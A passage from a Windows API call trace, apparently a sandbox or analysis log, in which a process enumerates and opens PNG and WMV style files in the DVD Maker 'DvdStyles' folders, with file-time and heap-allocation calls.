dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.419] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.419] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.419] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.419] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.419] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.419] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0245.419] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0245.419] GetLastError () returned 0x12 [0245.419] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.419] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.420] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.420] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.420] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0245.420] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.420] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.420] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.420] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x93e4a8 [0245.420] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x93e4a8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x93e4a8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.420] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e4a8) returned 1 [0245.420] NtClose (Handle=0x170) returned 0x0 [0245.421] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.421] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.421] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.421] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.421] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.425] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.425] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0245.425] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.425] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.425] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.425] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.425] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.425] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.425] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.425] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928300 [0245.425] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93c098 [0245.425] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.425] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0245.425] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928320 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93c1a0 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.426] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0245.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0245.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.427] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, 